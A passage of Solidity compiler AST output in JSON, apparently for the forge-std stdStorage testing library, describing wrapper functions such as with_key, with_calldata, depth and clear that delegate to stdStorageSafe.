StdStorage"}},"visibility":"internal"}],"src":"13645:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8915,"nodeType":"FunctionDefinition","src":"13726:152:8","nodes":[],"body":{"id":8914,"nodeType":"Block","src":"13820:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8910,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8900,"src":"13861:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8911,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8902,"src":"13867:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":8908,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13837:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8909,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13852:8:8","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8203,"src":"13837:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":8912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13837:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8907,"id":8913,"nodeType":"Return","src":"13830:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"13735:8:8","parameters":{"id":8903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8900,"mutability":"mutable","name":"self","nameLocation":"13763:4:8","nodeType":"VariableDeclaration","scope":8915,"src":"13744:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8899,"nodeType":"UserDefinedTypeName","pathNode":{"id":8898,"name":"StdStorage","nameLocations":["13744:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13744:10:8"},"referencedDeclaration":7427,"src":"13744:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8902,"mutability":"mutable","name":"who","nameLocation":"13777:3:8","nodeType":"VariableDeclaration","scope":8915,"src":"13769:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8901,"name":"address","nodeType":"ElementaryTypeName","src":"13769:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13743:38:8"},"returnParameters":{"id":8907,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8906,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8915,"src":"13800:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8905,"nodeType":"UserDefinedTypeName","pathNode":{"id":8904,"name":"StdStorage","nameLocations":["13800:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13800:10:8"},"referencedDeclaration":7427,"src":"13800:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13799:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8933,"nodeType":"FunctionDefinition","src":"13884:152:8","nodes":[],"body":{"id":8932,"nodeType":"Block","src":"13978:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8928,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8918,"src":"14019:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8929,"name":"amt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8920,"src":"14025:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8926,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13995:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8927,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14010:8:8","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8228,"src":"13995:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":8930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13995:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8925,"id":8931,"nodeType":"Return","src":"13988:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"13893:8:8","parameters":{"id":8921,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8918,"mutability":"mutable","name":"self","nameLocation":"13921:4:8","nodeType":"VariableDeclaration","scope":8933,"src":"13902:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8917,"nodeType":"UserDefinedTypeName","pathNode":{"id":8916,"name":"StdStorage","nameLocations":["13902:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13902:10:8"},"referencedDeclaration":7427,"src":"13902:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8920,"mutability":"mutable","name":"amt","nameLocation":"13935:3:8","nodeType":"VariableDeclaration","scope":8933,"src":"13927:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8919,"name":"uint256","nodeType":"ElementaryTypeName","src":"13927:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13901:38:8"},"returnParameters":{"id":8925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8924,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8933,"src":"13958:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8923,"nodeType":"UserDefinedTypeName","pathNode":{"id":8922,"name":"StdStorage","nameLocations":["13958:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13958:10:8"},"referencedDeclaration":7427,"src":"13958:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13957:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8951,"nodeType":"FunctionDefinition","src":"14042:152:8","nodes":[],"body":{"id":8950,"nodeType":"Block","src":"14136:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8946,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8936,"src":"14177:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8947,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8938,"src":"14183:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8944,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14153:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8945,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14168:8:8","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8250,"src":"14153:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes32) returns (struct StdStorage storage pointer)"}},"id":8948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14153:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8943,"id":8949,"nodeType":"Return","src":"14146:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"14051:8:8","parameters":{"id":8939,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8936,"mutability":"mutable","name":"self","nameLocation":"14079:4:8","nodeType":"VariableDeclaration","scope":8951,"src":"14060:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8935,"nodeType":"UserDefinedTypeName","pathNode":{"id":8934,"name":"StdStorage","nameLocations":["14060:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14060:10:8"},"referencedDeclaration":7427,"src":"14060:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8938,"mutability":"mutable","name":"key","nameLocation":"14093:3:8","nodeType":"VariableDeclaration","scope":8951,"src":"14085:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8937,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14085:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"14059:38:8"},"returnParameters":{"id":8943,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8942,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8951,"src":"14116:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8941,"nodeType":"UserDefinedTypeName","pathNode":{"id":8940,"name":"StdStorage","nameLocations":["14116:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14116:10:8"},"referencedDeclaration":7427,"src":"14116:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14115:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8969,"nodeType":"FunctionDefinition","src":"14200:179:8","nodes":[],"body":{"id":8968,"nodeType":"Block","src":"14310:69:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8964,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8954,"src":"14356:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8965,"name":"_calldata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8956,"src":"14362:9:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":8962,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14327:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8963,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14342:13:8","memberName":"with_calldata","nodeType":"MemberAccess","referencedDeclaration":8172,"src":"14327:28:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes_memory_ptr_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes memory) returns (struct StdStorage storage pointer)"}},"id":8966,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14327:45:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8961,"id":8967,"nodeType":"Return","src":"14320:52:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_calldata","nameLocation":"14209:13:8","parameters":{"id":8957,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8954,"mutability":"mutable","name":"self","nameLocation":"14242:4:8","nodeType":"VariableDeclaration","scope":8969,"src":"14223:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8953,"nodeType":"UserDefinedTypeName","pathNode":{"id":8952,"name":"StdStorage","nameLocations":["14223:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14223:10:8"},"referencedDeclaration":7427,"src":"14223:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8956,"mutability":"mutable","name":"_calldata","nameLocation":"14261:9:8","nodeType":"VariableDeclaration","scope":8969,"src":"14248:22:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8955,"name":"bytes","nodeType":"ElementaryTypeName","src":"14248:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"14222:49:8"},"returnParameters":{"id":8961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8960,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8969,"src":"14290:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8959,"nodeType":"UserDefinedTypeName","pathNode":{"id":8958,"name":"StdStorage","nameLocations":["14290:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14290:10:8"},"referencedDeclaration":7427,"src":"14290:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14289:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8984,"nodeType":"FunctionDefinition","src":"14385:156:8","nodes":[],"body":{"id":8983,"nodeType":"Block","src":"14477:64:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8980,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8972,"src":"14529:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":8978,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14494:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8979,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14509:19:8","memberName":"enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":8268,"src":"14494:34:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (struct StdStorage storage pointer)"}},"id":8981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14494:40:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8977,"id":8982,"nodeType":"Return","src":"14487:47:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"enable_packed_slots","nameLocation":"14394:19:8","parameters":{"id":8973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8972,"mutability":"mutable","name":"self","nameLocation":"14433:4:8","nodeType":"VariableDeclaration","scope":8984,"src":"14414:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8971,"nodeType":"UserDefinedTypeName","pathNode":{"id":8970,"name":"StdStorage","nameLocations":["14414:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14414:10:8"},"referencedDeclaration":7427,"src":"14414:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14413:25:8"},"returnParameters":{"id":8977,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8976,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8984,"src":"14457:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8975,"nodeType":"UserDefinedTypeName","pathNode":{"id":8974,"name":"StdStorage","nameLocations":["14457:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14457:10:8"},"referencedDeclaration":7427,"src":"14457:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14456:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9002,"nodeType":"FunctionDefinition","src":"14547:152:8","nodes":[],"body":{"id":9001,"nodeType":"Block","src":"14641:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8997,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8987,"src":"14679:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8998,"name":"_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8989,"src":"14685:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8995,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14658:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14673:5:8","memberName":"depth","nodeType":"MemberAccess","referencedDeclaration":8288,"src":"14658:20:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":8999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14658:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8994,"id":9000,"nodeType":"Return","src":"14651:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"depth","nameLocation":"14556:5:8","parameters":{"id":8990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8987,"mutability":"mutable","name":"self","nameLocation":"14581:4:8","nodeType":"VariableDeclaration","scope":9002,"src":"14562:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8986,"nodeType":"UserDefinedTypeName","pathNode":{"id":8985,"name":"StdStorage","nameLocations":["14562:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14562:10:8"},"referencedDeclaration":7427,"src":"14562:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8989,"mutability":"mutable","name":"_depth","nameLocation":"14595:6:8","nodeType":"VariableDeclaration","scope":9002,"src":"14587:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8988,"name":"uint256","nodeType":"ElementaryTypeName","src":"14587:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14561:41:8"},"returnParameters":{"id":8994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8993,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9002,"src":"14621:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8992,"nodeType":"UserDefinedTypeName","pathNode":{"id":8991,"name":"StdStorage","nameLocations":["14621:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14621:10:8"},"referencedDeclaration":7427,"src":"14621:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14620:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9015,"nodeType":"FunctionDefinition","src":"14705:92:8","nodes":[],"body":{"id":9014,"nodeType":"Block","src":"14754:43:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9011,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9005,"src":"14785:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9008,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14764:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9010,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14779:5:8","memberName":"clear","nodeType":"MemberAccess","referencedDeclaration":8735,"src":"14764:20:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":9012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14764:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9013,"nodeType":"ExpressionStatement","src":"14764:26:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"clear","nameLocation":"14714:5:8","parameters":{"id":9006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9005,"mutability":"mutable","name":"self","nameLocation":"14739:4:8","nodeType":"VariableDeclaration","scope":9015,"src":"14720:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9004,"nodeType":"UserDefinedTypeName","pathNode":{"id":9003,"name":"StdStorage","nameLocations":["14720:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14720:10:8"},"referencedDeclaration":7427,"src":"14720:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14719:25:8"},"returnParameters":{"id":9007,"nodeType":"ParameterList","parameters":[],"src":"14754:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9038,"nodeType":"FunctionDefinition","src":"14803:138:8","nodes":[],"body":{"id":9037,"nodeType":"Block","src":"14873:68:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9024,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9018,"src":"14897:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"arguments":[{"arguments":[{"arguments":[{"id":9031,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9020,"src":"14927:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":9030,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14919:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":9029,"name":"uint160","nodeType":"ElementaryTypeName","src":"14919:7:8","typeDescriptions":{}}},"id":9032,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14919:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":9028,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14911:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9027,"name":"uint256","nodeType":"ElementaryTypeName","src":"14911:7:8","typeDescriptions":{}}},"id":9033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14911:21:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9026,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14903:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9025,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14903:7:8","typeDescriptions":{}}},"id":9034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14903:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage 